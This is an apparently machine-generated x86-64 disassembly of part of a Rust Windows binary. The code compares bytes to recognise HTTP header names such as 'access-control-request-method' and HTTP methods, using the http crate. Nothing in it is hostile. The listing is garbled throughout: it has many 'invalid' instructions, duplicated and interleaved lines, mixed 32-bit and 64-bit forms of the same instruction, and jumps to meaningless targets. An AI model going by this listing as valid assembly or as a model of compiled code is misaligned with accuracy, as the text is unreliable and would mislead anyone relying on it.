mov dl, 0x6b
mov r8d, 3
jmp 0x14002e323
cmp byte [rcx + 1], 0x78
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x70
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
add cl, ch
lodsb al, byte [rsi]
invalid
cmp byte [rcx + 1], 0x70
jne case.0x14002ec2e.103
fadd dword [rax + rax]
invalid
fadd dword [rax + rax]
add byte [rax + 0xf670279], al
test esi, ecx
add al, 0
add byte [rax], al
cmp byte [rcx + 3], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x61
jne case.0x14002ec2e.103
invalid
jns 0x1400308a7
cmp byte [rcx + 2], 0x67
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 3], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x64
jne case.0x14002ec2e.103
mov al, 4
add byte [rax], al
jne case.0x14002ec2e.103
mov al, 4
add byte [rax], al
mov al, 0x47
mov dl, 0x65
mov r8d, 6
jmp 0x14002e323
cmp byte [rcx + 1], 0x65
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf720279], al
test dword [rbp - 0x7ffffffc], ecx
jns 0x1400308d2
cmp byte [rcx + 2], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x76
jne case.0x14002ec2e.103
jbe 0x1400308e0
test dword [rbx - 0x7ffffffc], eax
jns 0x1400308dd
add dword [rax + rax], 0
cmp byte [rcx + 4], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
add al, 0
add byte [rax + 0x4172b240], dh
mov eax, 5
invalid
mov al, 0x40
mov dl, 0x72
mov r8d, 5
invalid
add cl, ch
xor al, 0xda
invalid
jmp 0x14002e323
cmp byte [rcx + 1], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x6b
jne case.0x14002ec2e.103
add ebp, dword [rbx + 0xf]
test dword [rsp + rax], ecx
add byte [rax + 0xf690479], al
test dword [rdx + 4], eax
add byte [rax], al
mov al, 0x1e
mov dl, 0x65
mov r8d, 5
jmp 0x14002e323
cmp byte [rcx + 1], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x69
jne case.0x14002ec2e.103
test dword [rdi], ebx
add al, 0
invalid
test dword [rdi], ebx
add al, 0
add byte [rax + 0xf670379], al
test dword [0xc0030949], edx
jns 0x14003094b
cmp byte [rcx + 3], 0x67
jne case.0x14002ec2e.103
imul ecx, dword [rdi], 0x40b85
add al, 0
add byte [rax + 0x416eb230], dh
mov eax, 5
outsb dx, byte [rsi]
mov r8d, 5
jmp 0x14002e323
cmp byte [rcx + 1], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x67
jne case.0x14002ec2e.103
fcos
inc dword [rax + 0xf630279]
test dword [rbx - 0x7ffffffd], edi
jns 0x1400309a4
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x68
jne case.0x14002ec2e.103
push 0x3b1850f
mov cl, 3
add byte [rax], al
cmp byte [rcx + 4], 0x65
jne case.0x14002ec2e.103
invalid
cmpsd dword [rsi], dword [rdi]
add eax, dword [rax]
invalid
jne case.0x14002ec2e.103
test dword [rdi - 0x7ffffffd], esp
jns 0x1400309ba
cmp byte [rcx + 5], 0x2d
jne case.0x14002ec2e.103
sub eax, 0x39d850f
add byte [rax], al
cmp byte [rcx + 6], 0x73
jns 0x1400309c5
jae 0x1400309d0
invalid
xchg ebx, eax
add eax, dword [rax]
invalid
jns 0x1400309c5
jae 0x1400309d0
test dword [rbx - 0x7ffffffd], edx
jns 0x1400309d0
add byte [rax + 0xf740779], al
cmp byte [rcx + 7], 0x74
jne case.0x14002ec2e.103
je 0x1400309da
test dword [rcx - 0x7ffffffd], ecx
jns 0x1400309db
cmp byte [rcx + 8], 0x61
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax + 0xf740979], al
cmp byte [rcx + 9], 0x74
jne case.0x14002ec2e.103
jns 0x1400309e6
or dword [rdi + rcx - 0x7b], esi
jne 0x1400309e5
je 0x1400309ee
test dword [rbp + 3], esi
add byte [rax], al
cmp byte [rcx + 0xa], 0x75
jne case.0x14002ec2e.103
jns 0x1400309f1
or dh, byte [rbp + 0xf]
jne 0x1400309f8
test dword [rbx + 3], ebp
add byte [rax], al
mov al, 0x12
mov dl, 0x73
mov r8d, 0xb
add byte [rax], al
invalid
jae 0x140030a34
mov eax, 0xb
add byte [rax], al
add cl, ch
fcos
inc dword [rax + 0xf630279]
test dword [rdx + 3], edx
add byte [rax], al
jmp 0x14002e323
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
add esp, dword [rbp + 0xf]
test dword [rax + 3], ecx
add byte [rax], al
cmp byte [rcx + 4], 0x70
jne case.0x14002ec2e.103
add eax, dword ds:[rax]
invalid
add eax, dword ds:[rax]
add byte [rax + 0xf740579], al
test dword [rbx + rax], esi
add byte [rax], al
cmp byte [rcx + 5], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
add byte [rax], al
invalid
add byte [rax], al
cmp byte [rcx + 7], 0x72
jne case.0x14002ec2e.103
test dword [rax], esp
add eax, dword [rax]
add byte [rax + 0xf610879], al
test dword [rsi], edx
add eax, dword [rax]
add byte [rax], al
cmp byte [rcx + 9], 0x6e
invalid
test dword [rbx + rax], ecx
or al, 3
cmp byte [rcx + 8], 0x61
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 9], 0x6e
jne case.0x14002ec2e.103
or al, 3
add byte [rax], al
or al, 3
add byte [rax], al
cmp byte [rcx + 0xa], 0x67
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14002ec2e.103
clc
add al, byte [rax]
invalid
jns 0x140030a65
jne case.0x14002ec2e.103
clc
add al, byte [rax]
add byte [rax + 0x4173b204], dh
mov eax, 0xc
mov al, 4
mov dl, 0x73
mov r8d, 0xc
jmp 0x14002e323
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
invalid
jns 0x140030a75
invalid
test edi, ebx
add al, byte [rax]
add byte [rax + 0xf680379], al
test ebp, edx
add al, byte [rax]
add byte [rax + 0xf650479], al
jns 0x140030a8b
invalid
invalid
test ebx, ecx
cmp byte [rcx + 3], 0x68
jne case.0x14002ec2e.103
jns 0x140030a8b
jne case.0x14002ec2e.103
add al, byte [rax]
add byte [rax + 0xf2d0579], al
cmp byte [rcx + 5], 0x2d
jne case.0x14002ec2e.103
test ecx, eax
add al, byte [rax]
invalid
sub eax, 0x2c1850f
add byte [rax], al
test ecx, eax
add al, byte [rax]
add byte [rax + 0xf630679], al
test dword [rdi - 0x7ffffffe], esi
invalid
invalid
jns 0x140030aac
cmp byte [rcx + 6], 0x63
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf6f0779], al
test dword [rbp - 0x7ffffffe], ebp
add al, byte [rax]
invalid
invalid
cmp byte [rcx + 7], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
add al, byte [rax]
add byte [rax + 0xf6e0879], al
jns 0x140030ab7
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 8], 0x6e
jns 0x140030ab7
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x74
jne case.0x14002ec2e.103
add al, byte [rax]
invalid
jns 0x140030ac2
je 0x140030aca
test dword [rcx - 0x7ffffffe], ebx
jns 0x140030acd
add al, byte [rax]
add byte [rax + 0xf720a79], al
cmp byte [rcx + 0xa], 0x72
jne case.0x14002ec2e.103
invalid
or dh, byte [rdx + 0xf]
jb 0x140030ad4
test dword [rdi - 0x7ffffffe], ecx
jns 0x140030ad8
add byte [rax + 0xf6f0b79], al
test dword [rbp - 0x4ffffffe], eax
adc dword [rdx + 0xcb8416c], esi
mov eax, 0xc
jmp 0x14002e323
cmp byte [rcx + 3], 0x6e
invalid
test dword [rdx + rax], ebp
cmp byte [rcx + 0xb], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
mov al, 0x11
mov dl, 0x6c
mov r8d, 0xc
mov eax, 0xc
jmp 0x14002e323
invalid
cmp byte [rcx + 3], 0x6e
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf730479], al
test dword [rdx + 2], esp
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x2d
jne case.0x14002ec2e.103
pop rax
add al, byte [rax]
invalid
pop rax
add al, byte [rax]
add byte [rax + 0xf700679], al
test dword [rsi + 2], ecx
cmp byte [rcx + 6], 0x70
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 7], 0x72
jns 0x140030b15
jb 0x140030b1f
test dword [rdx + rax], eax
invalid
jns 0x140030b15
invalid
jb 0x140030b1f
test dword [rdx + rax], eax
add byte [rax + 0xf650879], al
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x66
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x74
invalid
test dword [rdx + rax], ebx
sbb al, 2
cmp byte [rcx + 8], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x66
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x74
jne case.0x14002ec2e.103
sbb al, 2
add byte [rax], al
or esi, dword [rdi + rcx - 0x7b]
sbb al, 2
add byte [rax], al
add byte [rax + 0xf630c79], al
test dword [rdx], edx
add al, byte [rax]
add byte [rax], al
cmp byte [rcx + 0xd], 0x68
invalid
test dword [rax], ecx
cmp byte [rcx + 0xc], 0x63
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xd], 0x68
jne case.0x14002ec2e.103
or eax, 0x8850f68
add al, byte [rax]
add byte [rax + 0xf2d0e79], al
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0xf], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 0x10], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0x11], 0x6e
invalid
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0xf], 0x63
jne case.0x14002ec2e.103
hlt
cmp byte [rcx + 0x10], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0x11], 0x6e
adc dword [rsi + 0xf], ebp
jne case.0x14002ec2e.103
test eax, esp
add dword [rax], eax
loopne 0x140030b78
add byte [rax], al
add byte [rax + 0xf741279], al
cmp byte [rcx + 0x12], 0x74
jns 0x140030b8e
adc dh, byte [rdi + rcx - 0x7b]
invalid
je 0x140030b8d
jne case.0x14002ec2e.103
test esi, edx
add dword [rax], eax
add byte [rax], al
cmp byte [rcx + 0x13], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x6f
jne case.0x14002ec2e.103
mov al, 0x4e
mov dl, 0x6c
mov r8d, 0x15
invalid
add byte [rax], al
invalid
add byte [rax], al
cmp byte [rcx + 0x13], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x6f
jns 0x140030ba4
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
mov al, 0x4e
mov dl, 0x6c
mov r8d, 0x15
invalid
add byte [rax], al
invalid
adc eax, 0xe9000000
jge 0x140030b7b
jmp 0x14002e323
invalid
cmp byte [rcx + 4], 0x61
jne case.0x14002ec2e.103
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0xf6e0579], al
jns case.0x1400b3705.435
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
invalid
jns 0x140030bc3
cmp byte [rcx + 5], 0x6e
jns case.0x1400b3705.435
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 6], 0x67
jne case.0x14002ec2e.103
invalid
xchg ebp, eax
add dword [rax], eax
invalid
jne case.0x14002ec2e.103
test dword [rbp - 0x4fffffff], edx
sub dh, byte [rdx + 0x7b84165]
mov eax, 7
invalid
push rax
xlatb
invalid
add byte [rax + 0x4165b22a], dh
mov al, 0x2a
mov dl, 0x65
mov r8d, 7
mov eax, 7
mov eax, 7
jmp 0x14002e323
cmp byte [rcx + 4], 0x65
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 5], 0x73
jne case.0x14002ec2e.103
mov al, 0x39
mov dl, 0x68
mov r8d, 6
add cl, ch
invalid
xlatb
invalid
invalid
add cl, ch
sub eax, 0x80ffffd7
cmp byte [rcx + 8], 0x61
jne case.0x14002ec2e.103
add dword [rax], eax
invalid
jns 0x140030c01
invalid
add dword [rax], eax
add byte [rax + 0xf6e0979], al
test dword [rdi + 1], ecx
add byte [rax], al
cmp byte [rcx + 9], 0x6e
jns case.0x14002ad69.324
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x67
jne case.0x14002ec2e.103
or ah, byte [rdi + 0xf]
test dword [rbp + 1], eax
add byte [rax], al
cmp byte [rcx + 0xb], 0x75
jne case.0x14002ec2e.103
test dword [rbx], edi
add dword [rax], eax
invalid
jns 0x140030c22
jne case.0x1400289b4.317
test dword [rbx], edi
add dword [rax], eax
add byte [rax + 0xf610c79], al
test dword [rcx], esi
cmp byte [rcx + 0xc], 0x61
jne case.0x14002ec2e.103
add dword [rax], eax
add byte [rax + 0xf670d79], al
cmp byte [rcx + 0xd], 0x67
invalid
cmp byte [rcx + 0xd], 0x67
jne case.0x14002ec2e.103
test dword [rdi], esp
add dword [rax], eax
invalid
jne case.0x14002ec2e.103
test dword [rdi], esp
add dword [rax], eax
add byte [rax + 0x4165b203], dh
mov r8d, 0xe
mov al, 3
mov dl, 0x65
mov r8d, 0xe
mov r8d, 0xe
jmp 0x14002e323
loop 0x140030c15
invalid
movzx edx, byte [rcx + 9]
cmp edx, 0x61
invalid
je 0x140030c94
invalid
cmp edx, 0x6f
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xa], 0x63
jne case.0x14002ec2e.103
add byte [rax + 0xf610b79], al
cmp byte [rcx + 0xb], 0x61
jne case.0x14002ec2e.103
add byte [rax], al
invalid
test edx, esi
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf740c79], al
cmp byte [rcx + 0xc], 0x74
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
jns 0x140030c76
je 0x140030c7b
test eax, ebp
add byte [rax], al
add byte [rax + 0xf690d79], al
cmp byte [rcx + 0xd], 0x69
invalid
call 0xc0030c72
jns case.0x14002a5a1.85
invalid
cmp byte [rcx + 0xd], 0x69
jne case.0x14002ec2e.103
add byte [rax], al
invalid
or eax, 0xde850f69
imul ecx, dword [rdi], 0xde85
test esi, ebx
add byte [rax], al
add byte [rax + 0xf6f0e79], al
test esp, edx
invalid
add byte [rax], al
cmp byte [rcx + 0xe], 0x6f
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
invalid
add byte [rax + 0x416eb219], dh
mov eax, 0xf
add byte [rax], al
mov al, 0x19
mov dl, 0x6e
mov r8d, 0xf
add byte [rax], al
add byte [rax], al
jmp 0x14002e323
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x67
jne case.0x14002ec2e.103
add byte [rax], al
or esp, dword [rdi + 0xf]
test dword [rcx - 0x80000000], esi
add byte [rax], al
invalid
jns 0x140030cb7
add byte [rax], al
cmp byte [rcx + 0xc], 0x75
jne case.0x14002ec2e.103
jne case.0x1400289b4.314
test dword [rdi - 0x80000000], esp
jns 0x140030cc2
cmp byte [rcx + 0xd], 0x61
jne case.0x14002ec2e.103
add byte [rax], al
invalid
invalid
test dword [rbp - 0x80000000], ebx
jns 0x140030ccd
add byte [rax], al
add byte [rax + 0xf670e79], al
cmp byte [rcx + 0xe], 0x67
jne case.0x14002ec2e.103
mov al, 0x17
cmp byte [rcx + 0xe], 0x67
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
xchg ebx, eax
add byte [rax], al
add byte [rax + 0x4165b217], dh
mov al, 0x17
mov dl, 0x65
mov r8d, 0xf
mov eax, 0xf
mov eax, 0xf
add byte [rax], al
add cl, ch
jmp 0x14002e323
invalid
inc dword [rax + 0x75651079]
jle 0x140030c5c
cmp byte [rcx + 0x10], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x11], 0x71
jne case.0x14002ec2e.103
jns case.0x140018f24.900
adc dword [rcx + 0x75], esi
jno 0x140030d55
js 0x140030c62
cmp byte [rcx + 0x12], 0x75
jne case.0x14002ec2e.103
invalid
jns 0x140030cf6
jne 0x140030d5b
jb 0x140030c68
cmp byte [rcx + 0x13], 0x65
jne case.0x14002ec2e.103
jns 0x140030cfd
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x73
adc al, 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 0x15], 0x74
jne case.0x14002ec2e.103
je 0x140030d6d
invalid
cmp byte [rcx + 0x16], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0x17], 0x6d
jne case.0x14002ec2e.103
cmp byte [rcx + 0x18], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x19], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0x1a], 0x68
jns 0x140030d2e
push 0x79804275
sbb ebp, dword [rdi + 0x75]
cmp al, 0xb0
or al, 0xb2
mov r8d, 0x1c
jne case.0x14002ec2e.103
cmp byte [rcx + 0x1b], 0x6f
jne case.0x14002ec2e.103
mov al, 0xc
mov dl, 0x64
mov r8d, 0x1c
jmp 0x14002e323
inc dword [rax + 0x75651679]
invalid
cmp byte [rcx + 0x16], 0x65
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 0x17], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0x18], 0x68
jne case.0x14002ec2e.103
cmp byte [rcx + 0x19], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
adc eax, 0x641a7980
cmp byte [rcx + 0x1a], 0x64
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
mov al, 7
mov dl, 0x73
mov r8d, 0x1b
sbb eax, dword [rax]
add byte [rax], al
sbb eax, dword [rax]
add byte [rax], al
jmp 0x14002e323
retf 0xffd5
ret
int3
int3
push rdi
push rbx
sub rsp, 0x68
mov rdi, r8
mov rsi, rcx
mov esi, ecx
cmp r8, 0x40
ja 0x140030d8c
lea rcx, [rdi - 1]
mov eax, edi
and eax, 3
dec dword [rcx + 0x3e083f8]
cmp rcx, 3
cmp ecx, 3
jae case.0x14002a5ee.214
xor r10d, r10d
jmp 0x140030e2b
lahf
add byte [rax], al
invalid
lahf
add byte [rax], al
add byte [rax - 0x7f], cl
inc dword [rax]
add byte [rcx], al
add byte [rbx + 0x23], dh
jae 0x140030db8
cmp rdi, 0x10000
jae 0x140030db8
and esi, dword [rcx]
ror byte [rax - 0x73], 0xd
lea rcx, [0x14012a0de]
nop
xor eax, eax
lea rcx, [0x14012a0de]
nop
cmp rdi, rax
je case.0x14002e30e.153
movzx r8d, byte [rdx + rax]
inc rax
inc eax
inc eax
rol byte [rcx - 0x80], 0x3c
or byte [rax], al
cmp byte [r8 + rcx], 0
cmp al, 8
add byte [rbp - 0x18], dh
jne 0x140030da0
mov qword [rsi], 1
jmp case.0x14001a3ad.1298
mov ecx, edi
and ecx, 0x7c
xor r9d, r9d
lea r8, [0x14012a0de]
or edx, dword [rbx + 0x6666000f]
nop word cs:[rax + rax]
invalid
or edx, dword [rbx + 0x6666000f]
nop word cs:[rax + rax]
invalid
add byte [rsi + 0xf], al
mov dh, 0x14
adc al, 0xa
movzx r10d, byte [r10 + r8]
invalid
invalid
push rsp
movzx r10d, byte [rdx + r9]
adc al, 0xa
movzx r10d, byte [r10 + r8]
mov byte [rsp + r9 + 0x28], r10b
mov byte [rsp + rcx + 0x28], dl
mov byte [rsp + rcx + 0x28], dl
or al, 0x28
movzx r10d, byte [rdx + r9 + 1]
movzx edx, byte [rdx + rcx + 1]
movzx r10d, byte [r10 + r8]
mov byte [rsp + r9 + 0x29], r10b
movzx r10d, byte [rdx + r9 + 2]
movzx r10d, byte [r10 + r8]
mov byte [rsp + r9 + 0x2a], r10b
push rsp
or al, 0x2a
push rsp
or al, 0x2a
lea r10, [r9 + 4]
movzx r11d, byte [rdx + r9 + 3]
movzx ebx, byte [rdx + rcx + 3]
add al, 0x46
movzx ebx, byte [rdx + rcx + 3]
movzx r11d, byte [r11 + r8]
mov byte [rsp + r9 + 0x2b], r11b
mov dh, 0x1c
add eax, dword [rsi - 0x78]
pop rsp
or al, 0x2b
mov r9, r10
cmp rcx, r10
cmp ecx, edx
cmp ecx, edx
sal dword [rbp - 0x4b], 1
jne case.0x14002a5a1.207
test rax, rax
test eax, eax
je 0x140030e66
lea rcx, [rsp + r10]
add rcx, 0x28
add rdx, r10
xor r8d, r8d
lea r9, [0x14012a0de]
or eax, 0xf9299
or eax, 0xf9299
verr word [rsi + 0x66]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rsi + 0xf], al
mov dh, 0x14
add al, byte [rdi + 0xf]
mov dh, 0x14
adc al, 0xa
mov byte [rcx + r8], r10b
movzx r10d, byte [rdx + r8]
movzx r10d, byte [r10 + r9]
adc al, 0xa
adc al, 0xa
mov byte [rcx + r8], r10b
mov byte [rcx + rax], dl
inc r8
cmp rax, r8
jne 0x140030e50
lea rbx, [rsp + 0x28]
mov rcx, rbx
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.14002e2f0
cmp al, 0x51
push rcx
invalid
push rcx
jne case.0x14002867a.191
cmp rdi, 0xf
ja 0x140030ee3
xor eax, eax
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
cmp byte [rsp + rax + 0x28], 0
sub byte [rax], al
je 0x140030db8
inc rax
cmp rdi, rax
invalid
jne 0x140030e90
invalid
jmp 0x140030f93
mov qword [rsi + 8], 0
mov byte [rsi + 0x10], al
jmp 0x140030fec
add byte [rax + 0x34e91046], cl
add dword [rax], eax
add byte [rcx - 0x77], cl
mov r14, rdx
mov r14, rdx
movzx eax, byte [0x140182310]
mov dh, 5
adc al, 0x15
add byte [rcx], dh
leave
mov dh, 5
adc al, 0x15
add byte [rcx], dh
leave
mov rdx, rdi
call fcn.1400df910
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sub byte [rcx], al
add byte [rax], al
mov rbx, rax
mov rcx, rax
mov rdx, r14
jmp 0x140030fb4
rol dword [rax], 1
add byte [rax], al
rol dword [rax], 1
add byte [rax], al
lea rax, [rsp + 0x2f]
and rax, 0xfffffffffffffff8
sub rax, rbx
jne case.0x14002a5a1.209
lea rcx, [rdi - 0x10]
xor eax, eax
invalid
invalid
movdqa xmm0, xmmword [0x140113770]
movabs rdx, 0x8080808080808080
or byte [rdi], 0x1f
add byte [rax], 0
add byte [rax], al
jno 0x140030f25
invalid
or byte [rdi], 0x1f
add byte [rax], 0
add byte [rax], al
movdqu xmm1, xmmword [rsp + rax + 0x28]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
jo 0x140030ef7
out dx, al
jo 0x140030ef7
shr esi, 1
out dx, al
por xmm2, xmm1
movq r8, xmm2
ror byte [rcx - 0x7b], 1
sal byte [rbp + 0x37], 1
invalid
ror byte [rcx - 0x7b], 1
sal byte [rbp + 0x37], 1
invalid
invalid
add rax, 0x10
cmp rax, rcx
jbe case.0x140029f23.221
jmp 0x140030f6c
cmp rax, rdi
cmovae rax, rdi
xor ecx, ecx
nop dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [rsp + rcx + 0x28], 0
je 0x140030db8
inc rcx
cmp rax, rcx
jne 0x140030f50
lea rcx, [rdi - 0x10]
lea ecx, [rdi - 0x10]
cmp rax, rcx
jbe 0x140030ef7
cmp rax, rdi
je 0x140030f93
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
cmp byte [rsp + rax + 0x28], 0
je 0x140030db8
inc rax
cmp rdi, rax
cmp edi, eax
cmp edi, eax
jne 0x140030f80
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
adc eax, 0x48c93100
mov edx, edi
call fcn.1400df910
test rax, rax
test eax, eax
test eax, eax
je 0x140030ffd
mov rbx, rax
lea rdx, [rsp + 0x28]
mov rcx, rax
mov ecx, eax
mov ecx, eax
mov r8, rdi
call fcn.140106530
je 0x14003100f
or eax, 0xd8894800
je 0x14003100f
or eax, 0xd8894800
add byte [rax - 0x77], cl
fmul dword [rax - 0x7d]
or rax, 1
test bl, 1
cmovne rax, rbx
or rax, 1
test bl, 1
cmovne rax, rbx
lea rcx, [0x14012a090]
or eax, 0xf90bf
or eax, 0xf90bf
lea rdx, [0x14012a0a8]
adc eax, 0xf90d0
rcl byte [rax + 0xf48000f]
ror dword [rax - 0x77], 1
push rsi
or byte [rax - 0x77], cl
pop rsi
adc byte [rax - 0x77], cl
cmove rdx, rcx
cmove edx, ecx
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rdi
jle case.0x14002d4f5.161
jle case.0x14002d4f5.161
mov qword [rsi + 0x20], rax
mov qword [rsi], 0
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
mov ecx, 1
add byte [rax], al
mov rdx, rdi
call fcn.1401082a0
int3
int3
int3
mov dword [rcx + 0x10], ecx
mov qword [rcx + 0x18], 0
lea rcx, [0x14012a078]
nop
invalid
invalid
adc byte [rax - 0x39], cl
sbb byte [r8], al
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xf904e
nop
invalid
invalid
nop
str word [rax - 0x77]
or bl, al
int3
mov qword [rax], rcx
ret
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, str.InvalidHeaderNameinvalid_HTTP_header_nameInvalidHeaderValuefailed_to_parse_header_valueInvalidMethodinvalid_HTTP_methodC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcmethod.rs
mov r8d, 0x11
sldt word [rcx - 0x48]
adc dword [rax], eax
add byte [rax], al
jmp rax
int3
sbb byte [rax - 0x73], cl
adc eax, 0xf918c
mov r8d, 0x18
add byte [rax - 1], cl
invalid
add byte [rax - 1], cl
loopne 0x140031039
int3
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012a207]
add byte [rcx - 0x48], al
adc al, byte [rax]
add byte [rax], al
add byte [rcx - 0x48], al
adc al, byte [rax]
add byte [rax], al
jmp rax
int3
lea rdx, [0x14012a219]
mov r8d, 0x1c
jmp rax
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
cmp r8, 7
invalid
ja case.0x140018f24.1226
invalid
lea rax, [0x14017715c]
movsxd r9, dword [rax + r8*4]
add byte [rsi + 0x63], cl
or al, 0x80
add r9, rax
jmp r9
movzx eax, byte [rdx]
cmp eax, 0x47
je 0x140031507
add al, byte [rbx - 0x7bf0b808]
and byte [rax + rax], al
add byte [rbx - 0x7af0af08], al
jne 0x14003151b
cmp byte [rdx + 1], 0x55
invalid
test dword [rcx], esp
cmp eax, 0x50
jne 0x14003151b
cmp byte [rdx + 1], 0x55
jne 0x14003151b
add al, 0
invalid
add al, 0
add byte [rax + 0xf54027a], al
test dword [rdi], edx
add al, 0
add dh, al
mov byte [rcx], 3
cmp byte [rdx + 2], 0x54
jne 0x14003151b
mov byte [rcx], 3
jmp 0x140031a67
movzx eax, byte [rdx]
cmp eax, 0x48
je 0x14003139f
je 0x14003139f
cmp eax, 0x50
jne 0x1400313b9
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 0xf4f017a], al
test dword [rsi - 0x7ffffffe], ecx
invalid
jp 0x140031130
cmp byte [rdx + 1], 0x4f
jne 0x1400313b9
cmp byte [rdx + 2], 0x53
push rbx
jne 0x1400313b9
test dword [rdx + rax + 0x7a800000], eax
add edx, dword [rdi + rcx - 0x7b]
push rsp
invalid
test dword [rdx + 2], edi
cmp byte [rdx + 3], 0x54
push rsp
jne 0x1400313b9
add byte [rax], al
mov byte [rcx], 2
jmp 0x140031a67
add byte [rax], al
add byte [rax], al
movzx eax, byte [rdx]
cmp eax, 0x43
je 0x14003142d
invalid
add byte [rbx - 0x7af0b008], al
std
add al, byte [rax]
add byte [rax + 0xf50017a], al
push rax
jne 0x140031459
cmp byte [rdx + 2], 0x54
jne 0x140031459
jmp 0xc0031173
jp 0x140031176
invalid
invalid
test edi, ebx
add al, byte [rax]
cmp eax, 0x4f
jne 0x140031459
cmp byte [rdx + 1], 0x50
push rax
jne 0x140031459
cmp byte [rdx + 2], 0x54
jne 0x140031459
invalid
add al, byte [rax]
invalid
jmp 0xc0031173
cmp byte [rdx + 3], 0x49
jne 0x140031459
